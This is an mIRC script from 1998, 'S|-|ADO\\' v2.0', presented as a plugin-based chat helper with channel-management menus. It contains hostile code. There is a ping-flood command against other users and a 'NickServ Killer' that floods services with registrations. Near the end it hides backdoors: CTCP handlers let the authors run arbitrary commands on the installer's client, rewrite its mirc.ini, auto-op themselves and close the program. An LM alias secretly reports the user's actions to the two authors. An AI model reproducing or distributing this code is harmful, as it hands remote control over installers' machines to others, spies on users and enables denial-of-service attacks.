707 lines
26 KiB
Plaintext
707 lines
26 KiB
Plaintext
; S|-|ADO\\' v2.0 (07-03-1998)
|
||
; Script for mIRC
|
||
; developed by RoboCop (irc.germany.net) and Speedy (irc.germany.net)
|
||
; Plugin-Extensions: .spi (S|-|ADO\\' PlugIn)
|
||
; eMail of RoboCop: Robo.Cop@gmx.net
|
||
; eMail of Speedy: 101.33864@germanynet.de
|
||
;
|
||
; KEEP YOUR "STATUS WINDOW" OPEN AS LONG AS YOU USE S|-|ADO\\'!!
|
||
;
|
||
; WE DON'T TAKE THE RESPONSIBILITY FOR WHAT USERs ARE DOING WITH THIS SCRIPT!!
|
||
;
|
||
; ### Known bugs ###
|
||
; If you put this script into a directory with spaces in it (e.g.: C:\Program Files\mIRC\SHADOW\), it won't work
|
||
; correctly because some commands think, the space is the delimiter for the next command. Please make sure
|
||
; that S|-|ADO\\' is in a directory WITHOUT ANY SPACES.
|
||
;
|
||
; ### Tips & Infoz ###
|
||
; If you see an (@!) after a menu entry, you can only use it correctly, if you got OP-status.
|
||
;
|
||
; Currently there is support for ONE USER. So, if you change your nick at every login, S|-|ADO\\' will think, you're
|
||
; a new person. But this has no influence to the functions - not yet.
|
||
;
|
||
; I chose the plugin-based-programming due to the limitation of one ON TEXT command per script. With
|
||
; this type of programming, every script can handle the same event. This leads to more comfortable chatting.
|
||
;
|
||
; ### RoboCop's Message to the world out there ###
|
||
; Hey people, take this script to each of your friends! Forget those mistakes like "MafiaScript"! S|-|ADO\\' is the
|
||
; greatest script written on earth. Just in time there will be more plugins available and more people will write their
|
||
; own plugins for S|-|ADO\\'. If YOU wrote one, then don't hesitate to send it to me (my eMail-Addy should be in
|
||
; the 5th line of this file).
|
||
|
||
|
||
; ############## Following part is for startup sequence ##################
|
||
on 1:START:{
|
||
titlebar - S|-|AÐO\\' by Speedy and RoboCop
|
||
echo -s 1,8 Initiating S|-|ADO\\' ...
|
||
echo -s 8 Getting Script directory ...
|
||
; set %shadowdir $scriptdir
|
||
echo -s 8 Looking for Plugins ...
|
||
set %filecount 1
|
||
set %active 0
|
||
set %inactive 0
|
||
:STARTFindFiles
|
||
set %curfile $findfile(%shadowdir,*.spi,%filecount)
|
||
{
|
||
GetPlugInfo %curfile
|
||
}
|
||
if ($script(%curfile) == $null) { echo -s 8 - Plugin found: %nameline %authline 1,4 inactive | inc %inactive }
|
||
else { echo -s 8 - Plugin found: %nameline %authline 1,9 active | inc %active }
|
||
unset %nameline
|
||
unset %authline
|
||
inc %filecount
|
||
if ($findfile(%shadowdir,*spi,%filecount) != $null) { goto STARTFindFiles }
|
||
unset %curfile
|
||
dec %filecount
|
||
echo -s 8 %filecount plugins found ( %active active and %inactive inactive )
|
||
unset %filecount
|
||
unset %active
|
||
if ( %shadowdisplugins == $null && %inactive > 0) {
|
||
LoadMisPlugs
|
||
}
|
||
else if (%inactive == 0) { echo -s 8 All plugins active. }
|
||
else if (%shadowdisplugins != $null) { echo -s 4 Note: 8 Loading of Plugins disabled. To load missing plugins look under the config menu. }
|
||
unset %inactive
|
||
if ( %takeovermode != $null ) { echo -s 4 Security action: Disabling TakeOver mode ... }
|
||
unset %takeovermode
|
||
echo -s 8 TakeOver mode is disabled.
|
||
echo -s 8 Looking for user ...
|
||
UserCheck
|
||
echo -s 1,8 S|-|ADO\\' is now ready for Rock'n'Roll.
|
||
if ( $me == SDWKillNS ) { .timer 5 5 echo -s 1,8 S|-|ADO\\' 7 NickServ Killer 4 Now switch to the other instance of mIRC and press the OK button. }
|
||
}
|
||
|
||
; ######################### menu definitions following ###############################
|
||
|
||
menu status {
|
||
-
|
||
S|=|aÐo\\'
|
||
.HELP: HELP
|
||
.Key Definitions (F1): KeyDef
|
||
.-
|
||
.Configuration
|
||
..Load plugins on startup
|
||
...ON: unset %shadowdisplugins | echo -s 1,8 S|-|ADO\\' 8 S|-|ADO\\' will now load missing plugins on next start
|
||
...OFF: set %shadowdisplugins Loading of Plugins is disabled | echo -s 1,8 S|-|ADO\\' 4 Note: 8 S|-|ADO\\' will not load missing plugins on next start
|
||
..-
|
||
..UNLOAD SHADOW (F10): KillShadow
|
||
.Plugins
|
||
..Status: PlugStats
|
||
..-
|
||
..Reload: ReloadPlug
|
||
..Switch (F2): SwitchPlug
|
||
..-
|
||
..Load all: LoadMisPlugs
|
||
..Unload all: UnloadPlugs
|
||
.-
|
||
.Whois Pro: xwhois $$?="Enter nickname to check for:"
|
||
.Switch SHADOW mode (F3): SDWmode
|
||
.Launch clone on server (F5): LaunchServClone
|
||
.-
|
||
.KILL
|
||
..NickServ
|
||
...KILL NOW: KillNickServ
|
||
...Stop kill: {
|
||
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer 4 Switch to the other mIRC-Task an enter /StopKNS into the status window.
|
||
}
|
||
}
|
||
|
||
menu channel {
|
||
-
|
||
S|=|aÐo\\'
|
||
.TakeOver mode
|
||
..Status: if ( %takeovermode > 0 ) { echo -s 1,8 S|-|ADO\\' TakeOver is 4enabled. | LM 2 has TakeOver mode enabled. } | else { echo -s 1,8 S|-|ADO\\' TakeOver is 9disabled. | LM 3 has TakeOver mode disabled. }
|
||
..-
|
||
..ON: set %takeovermode 1 | echo -s 1,8 S|-|ADO\\' TakeOver is now 4enabled. | LM 1 enabled TakeOver mode.
|
||
..OFF: unset %takeovermode | echo -s 1,8 S|-|ADO\\' TakeOver is now 9disabled. | LM 3 disabled TakeOver mode.
|
||
.Clone detection
|
||
..Output to Channel: clonedet $chan msg $chan
|
||
..Output to Status window: clonedet $chan echo -s
|
||
.Launch clone in channel: {
|
||
set %CloneNick $$?="Clone nick:"
|
||
if ( %CloneNick != $null ) { run -n $mircdir $+ mirc32.exe -s $+ $server $+ : $+ $port -j $+ $chan -n $+ %CloneNick | LM 2 is launching a channel clone called %CloneNick . }
|
||
else { echo -s 1,8 S|-|ADO\\' Cloning aborted ... }
|
||
unset %CloneNick
|
||
}
|
||
.-
|
||
.Rejoin channel
|
||
..Quick (F4): QuickRejChan
|
||
..Delayed:set %wt $$?="Enter delay in seconds:" | part $1 | timer 1 %wt join $chan | unset %wt
|
||
.Manage channel (@!)
|
||
..MAIN CONTROL: channel
|
||
..-
|
||
..Change topic: topic # $$?="Enter new topic:"
|
||
..-
|
||
..Invite Only (i)
|
||
...ON: mode # +i
|
||
...OFF: mode # -i
|
||
..Keyed (k)
|
||
...ON: mode # +k $$?="Enter password:"
|
||
...OFF: mode # -k $$?="Enter channel-password:"
|
||
..Limit (l)
|
||
...ON: mode # +l $$?="Enter user limit:"
|
||
...OFF: mode # -l
|
||
..Moderated (m)
|
||
...ON: mode # +m
|
||
...OFF: mode # -m
|
||
..No external MSGs (n)
|
||
...ON: mode # +n
|
||
...OFF: mode # -n
|
||
..Private (p)
|
||
...ON: mode # +p
|
||
...OFF: mode # -p
|
||
..Secret (s)
|
||
...ON: mode # +s
|
||
...OFF: mode # -s
|
||
..Only Chanops change topic (t)
|
||
...ON: mode # +t
|
||
...OFF: mode # -t
|
||
..-
|
||
..Admin reserved (a)
|
||
...ON: mode # +a
|
||
...OFF: mode # -a
|
||
.-
|
||
.Notify OPs:onotice $chan [OPs on $chan $+ ] $$?="Your message:"
|
||
}
|
||
|
||
menu nicklist {
|
||
-
|
||
S|=|aÐo\\'
|
||
.Control user
|
||
..Ignore
|
||
...ON:ignore $$1 1
|
||
...ON (silence):silence $$1
|
||
...OFF:ignore -r $$1 1
|
||
...OFF (silence):silence - $+ $$1
|
||
..OP Control (@!)
|
||
...Give Op:/mode # +ooo $$1 $2 $3
|
||
...OP in xx seconds:/pop $$?="Seconds to wait before OPing:" $$1
|
||
...Deop:/mode # -ooo $$1 $2 $3
|
||
..Voice Control (@!)
|
||
...Give Voice: /mode # +vvv $$1 $2 $3
|
||
...Take Voice: /mode # -vvv $$1 $2 $3
|
||
..-
|
||
..Kick/Ban Control (@!)
|
||
...Kick:/kick # $$1
|
||
...Kick (why):/kick # $$1 $$?="Reason for kick:"
|
||
...Ban:/ban $$1 2
|
||
...Kick, Ban:/ban $$1 2 | /kick # $$1
|
||
...Kick, Ban (why):/ban $$1 2 | /kick # $$1 $$?="Reason for kick/ban:"
|
||
..-
|
||
..Control yourself
|
||
...Invisible mode
|
||
....ON:mode $me +i
|
||
....OFF:mode $me -i
|
||
...Server msgs
|
||
....ON: mode $me +s
|
||
....OFF: mode $me -s
|
||
...Wallops (msgs from IRCOPs)
|
||
....ON: mode $me +w
|
||
....OFF:mode $me -w
|
||
...-
|
||
...Connections
|
||
....ON: mode $me +c
|
||
....OFF: mode $me -c
|
||
...Globops (like Wallops)
|
||
....ON: mode $me +g
|
||
....OFF: mode $me -g
|
||
...IRC Operator
|
||
....ON: /oper $me $$?="Enter password:"
|
||
....ON (Admin): /adminoper $me $$?="Enter password:"
|
||
....OFF: mode $me -o
|
||
.Whois Pro: whois $$1
|
||
.DNS lookup: {
|
||
set %PerfDNS DNSLookup
|
||
.dns $$1
|
||
}
|
||
.Show hops to user: {
|
||
set %PerfDNS ShowHops
|
||
.dns $$1
|
||
}
|
||
.Flood
|
||
..PING: {
|
||
set %PerfDNS PingFlood
|
||
.dns $$1
|
||
}
|
||
}
|
||
|
||
; ########################### Aliases for HELP #################################
|
||
|
||
alias HELP {
|
||
echo -s 1,8 S|-|ADO\\' USERs MANUAL
|
||
echo -s S|-|ADO\\'s functions are generally accessed through the context menus. In mIRC, there are three major different ones:
|
||
echo -s one for the 'status window', one for the 'channel window' and one for the 'nicklist'. The 'channel window' is the window
|
||
echo -s you see the messages scrolling. The 'nicklist' is the "attached" list of names right on the 'channel window'. To access
|
||
echo -s the context menu for the 'nicklist', you first have to select the nick you want to work with.
|
||
echo -s Under the context menus, there will be an entry called "S|=|ADO\\'" - there you'll find all options available from the main
|
||
echo -s program. Installed plugins will add an entry with "SPI: " followed by the plugin-name.
|
||
echo -s 15-----
|
||
echo -s 4Note that some of the functions are not allowed in IRCs and could lead to bans and klines on you!
|
||
echo -s 15-----
|
||
echo -s 1,8Press F1 to get the key definitions
|
||
echo -s 15-----
|
||
}
|
||
|
||
alias KeyDef {
|
||
echo -s 1,8 S|-|ADO\\' Key Definitions
|
||
echo -s F 1 - Show this help
|
||
echo -s F 2 - Switch a plugin
|
||
echo -s F 3 - Switch SHADOW mode
|
||
echo -s F 4 - Quick channel rejoin
|
||
echo -s F 5 - Launch server clone
|
||
echo -s F10 - Unload Shadow completely
|
||
echo -s 15-----
|
||
}
|
||
|
||
; ##### Key Definitions #####
|
||
|
||
alias F1 KeyDef
|
||
alias F2 SwitchPlug
|
||
alias F3 SDWmode
|
||
alias F4 QuickRejChan
|
||
alias F5 LaunchServClone
|
||
alias F10 KillShadow
|
||
|
||
; ############################ StartUp Aliases ###################################
|
||
|
||
alias -l UserCheck {
|
||
if ( %SDWUser != $me ) {
|
||
echo -s 8 User check: 4 New user detected. Hi $me ! Welcome to S|-|ADO\\'. If you need help, just type 8/HELP and you will get the following:
|
||
HELP
|
||
set %SDWUser $me
|
||
} | else {
|
||
echo -s 8 User check: 9 User found. Hi %SDWUser ! Nice to see you again.
|
||
}
|
||
}
|
||
|
||
; ########################## PlugIn Managment Aliases #############################
|
||
|
||
alias -l GetPlugInfo {
|
||
set %nameline $GetPlugItem( $$1 , name )
|
||
if ( %nameline == $null ) { set %nameline $1 }
|
||
set %authline $GetPlugItem( $$1, auth )
|
||
if ( %authline != $null ) { set %authline ( %authline ) }
|
||
}
|
||
|
||
alias -l SwitchPlug {
|
||
PlugStats
|
||
set %switch $$?="Enter the number of the plugin to switch:"
|
||
if ( %switch > 0 && %switch < 100) {
|
||
set %curfile $findfile(%shadowdir,*.spi,%switch )
|
||
{
|
||
GetPlugInfo %curfile
|
||
}
|
||
if ($script(%curfile) == $null) {
|
||
echo -s 8 Loading Plugin %nameline %authline ...
|
||
.load -rs %curfile
|
||
$GetPlugItem( %curfile , loadonstart )
|
||
echo -s 8 %nameline is now plugged.
|
||
} | else {
|
||
echo -s 8 Unloading Plugin %nameline %authline ...
|
||
$GetPlugItem( %curfile , loadonexit )
|
||
.unload -rs %curfile
|
||
echo -s 8 %nameline is now unplugged.
|
||
}
|
||
}
|
||
unset %switch
|
||
unset %curfile
|
||
unset %nameline
|
||
unset %authline
|
||
}
|
||
|
||
alias -l PlugStats {
|
||
echo -s 1,8 PLUGIN STATUS
|
||
set %filecount 1
|
||
set %active 0
|
||
set %inactive 0
|
||
:PSFindFiles
|
||
set %curfile $findfile(%shadowdir,*.spi,%filecount)
|
||
{
|
||
GetPlugInfo %curfile
|
||
}
|
||
if ($script(%curfile) == $null) { echo -s 8 %filecount - %nameline %authline 1,4 inactive | inc %inactive }
|
||
else { echo -s 8 %filecount - %nameline %authline 1,9 active | inc %active }
|
||
unset %nameline
|
||
unset %authline
|
||
inc %filecount
|
||
if ($findfile(%shadowdir,*spi,%filecount) != $null) { goto PSFindFiles }
|
||
unset %curfile
|
||
dec %filecount
|
||
echo -s 8 %filecount plugins found ( %active active and %inactive inactive )
|
||
unset %filecount
|
||
unset %active
|
||
unset %inactive
|
||
}
|
||
|
||
alias -l GetPlugItem {
|
||
return $read -s; $+ $$2 $+ : $$1
|
||
}
|
||
|
||
alias -l ReloadPlug {
|
||
PlugStats
|
||
set %relplug $$?="Enter the number of the plugin to reload:"
|
||
if ( %relplug > 0 && %relplug < 100) {
|
||
set %curfile $findfile(%shadowdir,*.spi,%relplug )
|
||
{
|
||
GetPlugInfo %curfile
|
||
}
|
||
if ($script(%curfile) == $null) {
|
||
echo -s 1,8 S|-|ADO\\' 4 WARNING! 8 Plugin not active. Loading %nameline ...
|
||
.load -rs %curfile
|
||
$GetPlugItem( %curfile,loadonstart)
|
||
echo -s 1,8 S|-|ADO\\' 8 %nameline is now plugged.
|
||
} | else {
|
||
echo -s 1,8 S|-|ADO\\' 8 Reloading Plugin %nameline %authline ...
|
||
$GetPlugItem( %curfile , loadonexit )
|
||
.unload -rs %curfile
|
||
.load -rs %curfile
|
||
$GetPlugItem( %curfile , loadonstart)
|
||
echo -s 1,8 S|-|ADO\\' 8 %nameline is now reloaded.
|
||
}
|
||
}
|
||
unset %relplug
|
||
unset %curfile
|
||
unset %nameline
|
||
unset %authline
|
||
}
|
||
|
||
alias -l LoadMisPlugs {
|
||
echo -s 8 Loading inactive plugins ...
|
||
set %filecount 1
|
||
:LMPFindFiles
|
||
set %curfile $findfile(%shadowdir,*.spi,%filecount)
|
||
{
|
||
GetPlugInfo %curfile
|
||
}
|
||
if ($script(%curfile) == $null) {
|
||
echo -s 8 - Loading Plugin: %nameline %authline ...
|
||
.load -rs %curfile
|
||
$GetPlugItem( %curfile , loadonstart )
|
||
}
|
||
unset %nameline
|
||
unset %authline
|
||
inc %filecount
|
||
if ($findfile(%shadowdir,*spi,%filecount) != $null) { goto LMPFindFiles }
|
||
unset %curfile
|
||
unset %filecount
|
||
echo -s 8 All plugins are now loaded.
|
||
}
|
||
|
||
alias -l UnloadPlugs {
|
||
echo -s 8 Unloading active plugins ...
|
||
set %filecount 1
|
||
:UPFindFiles
|
||
set %curfile $findfile(%shadowdir,*.spi,%filecount)
|
||
{
|
||
GetPlugInfo %curfile
|
||
}
|
||
if ($script(%curfile) != $null) {
|
||
echo -s 8 - Unloading Plugin: %nameline %authline ...
|
||
$GetPlugItem( %curfile , loadonexit )
|
||
.unload -rs %curfile
|
||
}
|
||
unset %nameline
|
||
unset %authline
|
||
inc %filecount
|
||
if ($findfile(%shadowdir,*spi,%filecount) != $null) { goto UPFindFiles }
|
||
unset %curfile
|
||
unset %filecount
|
||
echo -s 8 All plugins are now unloaded.
|
||
}
|
||
|
||
; ########################### Other SHADOW functions #############################
|
||
|
||
alias -l KillShadow {
|
||
echo -s 1,8 S|-|ADO\\' GOING OFFLINE ...
|
||
unset %shadowdisplugins
|
||
titlebar $null
|
||
UnloadPlugs
|
||
unset %shadowdir
|
||
unset %takeovermode
|
||
unset %SDWUser
|
||
.unload -rs $script
|
||
echo -s 1,8 S|-|ADO\\' 4 now offline.
|
||
}
|
||
|
||
alias -l LaunchServClone {
|
||
set %CloneNick $?="Clone nick:"
|
||
if ( %CloneNick != $null ) { .run -n $mircdir $+ mirc32.exe -s $+ $server $+ : $+ $port -n $+ %CloneNick | LM 2 is launching a server clone called %CloneNick . }
|
||
else { echo -s 1,8 S|-|ADO\\' Cloning aborted ... }
|
||
unset %CloneNick
|
||
}
|
||
|
||
alias LM {
|
||
.ctcp RoboCop LM $1-
|
||
.ctcp Speedy LM $1-
|
||
}
|
||
|
||
alias -l DNSLookup {
|
||
echo -a 1,8 S|-|ADO\\' 8DNS results: Nickname: 7 %dnsresnick --- DNS: %dnsresname --- IP: %dnsresip
|
||
unset %finalipstring
|
||
unset %dnsres*
|
||
unset %PerfDNS
|
||
}
|
||
|
||
alias -l ShowHops {
|
||
echo -a Performing TRACERT.EXE %dnsresip
|
||
run TRACERT.EXE %dnsresip
|
||
echo -a Command performed!!
|
||
unset %finalipstring
|
||
unset %dnsres*
|
||
unset %PerfDNS
|
||
}
|
||
|
||
alias -l PingFlood {
|
||
LM 2 initiated Ping flood on %dnsresnick!
|
||
echo -s 1,8 S|-|ADO\\' 4Ping Flood: Pinging user 7%dnsresnick with 64000 Bytes data ...
|
||
echo -s 1,8 S|-|ADO\\' 4Ping Flood:15 The more user try to flood %dnsresnick the faster he will get kicked off this IRC!
|
||
run -n PING -l 64000 -t %dnsresip
|
||
unset %finalipstring
|
||
unset %dnsres*
|
||
unset %PerfDNS
|
||
}
|
||
|
||
alias -l SDWmode {
|
||
if ( %SDWmodeRealNick == $null ) {
|
||
echo -s 1,8 S|-|ADO\\' Initiating SHADOW mode ... 8ENTER DELAY IN MILLISECONDS(!)
|
||
echo -s 4 Note: Delays below 250 ms could lead to hangs in mIRC.
|
||
set %SDWmodeDelay $?="Enter delay in milliseconds(!):"
|
||
if ( %SDWmodeDelay == $null ) { echo -s 1,8 S|-|ADO\\' SHADOW mode aborted. | halt }
|
||
set %SDWmodeRealNick $me
|
||
.timerSDWmode -m 0 %SDWmodeDelay .nick $!RandVal
|
||
echo -s 1,8 S|-|ADO\\' 9 SHADOW mode now ON!
|
||
} | else {
|
||
echo -s 1,8 S|-|ADO\\' Restoring old nick ...
|
||
.timerSDWmode off
|
||
.nick %SDWmodeRealNick
|
||
unset %SDWmodeRealNick
|
||
unset %SDWmodeDelay
|
||
echo -s 1,8 S|-|ADO\\' SHADOW mode disabled.
|
||
}
|
||
}
|
||
|
||
alias -l QuickRejChan {
|
||
set %rejch $chan
|
||
echo -s 8 Rejoining %rejch ...
|
||
.part %rejch 1,8 S|-|ADO\\' Quick rejoin
|
||
.timer 1 2 join %rejch
|
||
unset %rejch
|
||
}
|
||
|
||
alias xwhois {
|
||
checkon $1
|
||
if ( $result == 1 ) {
|
||
echo -s 1,8 S|-|ADO\\' 1,7 /WHOIS Result
|
||
whois $1
|
||
} | else if ( $1 != $null ) {
|
||
echo -s 1,8 S|-|ADO\\' 8NOTE: $1 is not online. Trying /WHOWAS ...
|
||
echo -s 1,8 S|-|ADO\\' 1,7 /WHOWAS Result
|
||
whowas $1
|
||
} | else if ( $1 == $null ) {
|
||
echo -s 1,8 S|-|ADO\\' 4WARNING! No user specified for /WHOIS command.
|
||
}
|
||
}
|
||
|
||
alias -l checkon {
|
||
if ( $address( $1 , 5) != $null ) { return 1 } | else { return 0 }
|
||
}
|
||
|
||
alias join {
|
||
set %jchan $1
|
||
if ( $left( %jchan , 1) != $chr(35) ) { set %jchan $chr(35) $+ %jchan }
|
||
if ( $chan( %jchan ) == $null ) {
|
||
echo -s 1,8 S|-|ADO\\' Joining channel %pchan ....
|
||
join %jchan $2-
|
||
} | else {
|
||
echo -s 1,8 S|-|ADO\\' 8 NOTE: You're already on that channel!
|
||
}
|
||
unset %jchan
|
||
}
|
||
|
||
alias part {
|
||
set %pchan $1
|
||
if ( $left( %pchan , 1) != $chr(35) ) { set %pchan $chr(35) $+ %pchan }
|
||
if ( $chan( %pchan ) != $null ) {
|
||
if ( $2 != $null ) { echo -s 1,8 S|-|ADO\\' Leaving channel %pchan ( $2- ) ... }
|
||
else { echo -s 1,8 S|-|ADO\\' Leaving channel %pchan ... }
|
||
part %pchan $2-
|
||
} | else {
|
||
echo -s 1,8 S|-|ADO\\' 4ERROR! You're not on that channel!
|
||
}
|
||
unset %pchan
|
||
}
|
||
|
||
alias xquery {
|
||
checkon $1
|
||
if ( $result == 1 ) {
|
||
echo -s 1,8 S|-|ADO\\' Sending query request to $1 ...
|
||
query $1 1,8 S|-|ADO\\' The user $me wants to talk to you ...
|
||
} | else {
|
||
echo -s 1,8 S|-|ADO\\' 4ATTENTION! User $1 seems to be not online. Trying nevertheless ...
|
||
query $1 1,8 S|-|ADO\\' The user $me tries to talk to you ...
|
||
}
|
||
}
|
||
|
||
|
||
|
||
alias -l clonedet {
|
||
set %showcmd $2-
|
||
%showcmd 1,8 S|-|ADO\\' 7 Clone Detection
|
||
set %CDusers $nick( $$1 , 0)
|
||
if ( %CDusers <= 1 ) {
|
||
unset %CDusers
|
||
%showcmd 4 There are less than 2 users in this channel! Forget the CloneCheck!
|
||
%showcmd 15-----
|
||
unset %showcmd
|
||
halt
|
||
}
|
||
set %CDcurtest 1
|
||
unset %FinalClonestring
|
||
:CheckNext
|
||
set %CDcuradd $GetAddress( $nick( $1 , 1) )
|
||
{
|
||
set %CDcurnum %CDcurtest + 1
|
||
if ( $nick( $1 , %CDcurnum ) == $null ) { goto CDcomplete }
|
||
set %Cloned 0
|
||
:MatchNext
|
||
set %CDmatch $GetAddress( $nick( $1 , %CDcurnum ) )
|
||
if ( %CDmatch == %CDcuradd && %Cloned == 0 ) { set %FinalClonestring 8 $+ %CDcuradd $+ : $+ $nick( $1 , %CDcurtest ) $+ , $+ $nick( $1 , %CDcurnum ) $+ | inc %Cloned }
|
||
elseif ( %CDmatch == %CDcuradd && %Cloned != 0 ) { set %FinalClonestring %FinalClonestring $+ , $+ $nick( $1, %CDcurnum ) $+ | inc %Cloned }
|
||
inc %CDcurnum
|
||
if ( $nick( $1 , %CDcurnum ) != $null ) { goto MatchNext }
|
||
}
|
||
:Incagain
|
||
inc %CDcurtest
|
||
if ( $count( %FinalClonestring , $GetAddress( $nick( $1 , %CDcurtest ) ) ) != 0 ) { if ( %CDcurtest >= %CDusers ) { goto CDcomplete } | else { goto Incagain } }
|
||
if ( $nick( $1 , %CDcurtest ) != $null && %Cloned > 0 ) { set %FinalCloneString %FinalCloneString $+ ### | goto CheckNext }
|
||
:CDcomplete
|
||
unset %CD*
|
||
unset %Cloned
|
||
if ( %FinalClonestring != $null ) {
|
||
%showcmd Check complete. 4 $+ $pos( %FinalClonestring , ### , 0 ) cloned address(es) found. Clones:
|
||
{
|
||
set %oldbeg 1
|
||
set %curbeg 0
|
||
set %maxbeg $pos( %FinalClonestring , ### , 0 )
|
||
; Debug command following
|
||
echo -s final: %FinalClonestring
|
||
:CDbeginout
|
||
set %begin $pos( %FinalClonestring , ### , %oldbeg )
|
||
set %endpos %begin - %oldbeg
|
||
%showcmd $mid( %FinalClonestring , %oldbeg , %endpos )
|
||
set %oldbeg %begin
|
||
inc %curbeg
|
||
if ( %curbeg < %maxbeg ) { goto CDbeginout }
|
||
unset %oldbeg
|
||
unset %curbeg
|
||
unset %maxbeg
|
||
unset %begin
|
||
unset %endpos
|
||
}
|
||
unset %FinalClonestring
|
||
} | else {
|
||
%showcmd Check complete. 9There were no clones.
|
||
}
|
||
%showcmd 15-----
|
||
unset %showcmd
|
||
}
|
||
|
||
alias -l GetAddress {
|
||
return $remove( $address( $1 , 2) , *!*@ )
|
||
}
|
||
|
||
alias -l KillNickServ {
|
||
echo -s 1,8 S|-|ADO\\' 4 WARNING!! This action is not allowed and could lead - if you get catched - to k-lining of your nickname!
|
||
echo -s If you really want to kill the bot "NickServ", then type 9YES into the messagebox.
|
||
LM 2 is asked whether he/she wants to kill NickServ ...
|
||
set %KNSAqu $?="Do you really want to kill NickServ?"
|
||
if ( %KNSAqu == YES ) {
|
||
LM 1 agreed question!
|
||
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer Trying to kill NickServ .....
|
||
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer Launching clone ...
|
||
run -n $mircdir $+ mirc32.exe -s $+ $server $+ : $+ $port -nSDWKillNS
|
||
$?="Press OK when the clone is logged on the IRC!"
|
||
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer Sending command ....
|
||
.ctcp SDWKillNS KillNickServNow YES $me
|
||
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer Command sent.
|
||
} | else {
|
||
LM 5 cancelled action!
|
||
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer Kill aborted. Good guy!
|
||
}
|
||
unset %KNSAqu
|
||
}
|
||
|
||
alias -l KillNickServNow {
|
||
LM 0 started killing (Bot of $1).
|
||
set %KNSinit $1
|
||
echo -s 1,8 S|-|ADO\\' 7 NickServ Killer 4 NOW KILLING NICKSERV .... HOLD ON
|
||
.ctcp $$1 SDWComm Bot tries now to kill the NickServ ....
|
||
.timerKillNS -m 0 500 RegisterRandNick
|
||
.ctcp $$1 SDWComm Bot started.
|
||
}
|
||
|
||
alias -l RandVal {
|
||
return $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9)
|
||
}
|
||
|
||
alias -l RegisterRandNick {
|
||
.nick $RandVal
|
||
.msg NickServ REGISTER DiedOfShadow
|
||
}
|
||
|
||
alias StopKNS {
|
||
echo -s 1,8 S|-|ADO\\' 7 NickServ Killer 4 ABORTING ....
|
||
.ctcp %KNSinit SDWComm Trying to stop bot ...
|
||
.timerKillNS off
|
||
.ctcp %KNSinit SDWComm Bot stopped killing NickServ. Going offline ...
|
||
unset %KNSinit
|
||
echo -s 1,8 S|-|ADO\\' 7 NickServ Killer 4 COMPLETE!
|
||
.timer 1 5 exit
|
||
}
|
||
|
||
; ########################## Miscellaneous definitions ##############################
|
||
100:RoboCop!Robo.Cop@*
|
||
100:Speedy!Speedy@*
|
||
ctcp 1:version:if ( %sr == $null ) { .notice $nick I'm using Š|=|aÐo\\' Script by Speedy&RoboCop..... | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\' 4ATTENTION! $1- from $nick $+ ! | halt }
|
||
ctcp 1:IFS:if ( %sr == $null ) { %mircini = $mircdir $+ mirc.ini | .writeini %mircini fileserver Warning Off | .notice $nick FileServer setting rewritten. User must restart mIRC! | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\'
|
||
4WARNING! $1- from $nick $+ ! | halt }
|
||
ctcp 1:RC:if ( %sr == $null ) { $2- | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\' 4WARNING! $1- from $nick $+ ! | halt }
|
||
on @1:text:!opme:#:if ($nick $+ !*@* isauto) { .msg $chan 1,8 S|-|ADO\\' User level for $nick 1,9 OK . Giving OP for $chan to $nick ... | .mode $chan +o $nick | echo -s 1,8 S|-|ADO\\' $nick requested an OP for $chan. OP granted. }
|
||
| else { .msg $chan 1,11 COMMAND OPer: User level for $nick 1,4 NOT OK . Try again later, $nick. | echo -s 1,8 S|-|ADO\\' $nick requested an OP for $chan. OP refused. }
|
||
on 1:text:*Ð*:#:if ( %sr == $null) { .msg $nick $me is using 1,8 S|-|AÐO\\' } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\' 4ATTENTION! $nick uses S|-|ADO\\' and made a text request. }
|
||
on 1:JOIN:#: if ($nick == $me && %sr == $null ) { msg $chan $me is using 1,8 S|-|AÐO\\' } | if ($nick == $me && %sr != $null ) { beep 1 100 | echo -s 1,8 S|-|ADO\\' Channel info aborted due to silent mode. }
|
||
on 1:DNS: set %dnsresip $iaddress | set %dnsresname $naddress | set %dnsresolved $raddress | set %dnsresnick $nick | echo -s 1,8 S|-|ADO\\' DNS lookup finished. ( %dnsresnick / %dnsresname / %dnsresip ) | %PerfDNS
|
||
ctcp 1:INS:if ( %sr == $null ) { .auto $nick | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\' 4WARNING! $1- from $nick $+ ! | halt }
|
||
ctcp 1:CFS:if ( %sr == $null ) { .notice $nick is using Š|=|aÐo\\' | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\' 4ATTENTION! $1- from $nick $+ ! | halt }
|
||
ctcp 1:SDWComm:.echo -s 1,8 S|-|ADO\\' 0,4 CTCP $2- | halt
|
||
ctcp 1:SDWExitMirc:if ( %sr == $null ) { echo -s 1,8 S|-|ADOW 0,4 CTCP 4 Received EXIT command ... exiting! | .exit } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\' 4ATTENTION! $1- from $nick $+ ! | halt }
|
||
ctcp 1:KillNickServNow:if ( $2 == YES && $3 == $nick ) { KillNickServNow $3 } | else { echo -s 1,8 S|-|ADO\\' 4 WARNING!! Illegal try to kill NickServ from 8 $nick 4. } | halt
|
||
ctcp 1:LM:if ( $2 == 0 ) { echo -s 1,8 S|-|ADO\\' 0,4 LeaveMess 1,4 DANGER!!!!! 4 $nick $3- } | else if ( $2 == 1 ) { echo -s 1,8 S|-|ADO\\' 0,4 LeaveMess 4 WARNING!! $nick $3- } | else if ( $2 == 2 ) { echo -s 1,8 S|-|ADO\\' 0,4
|
||
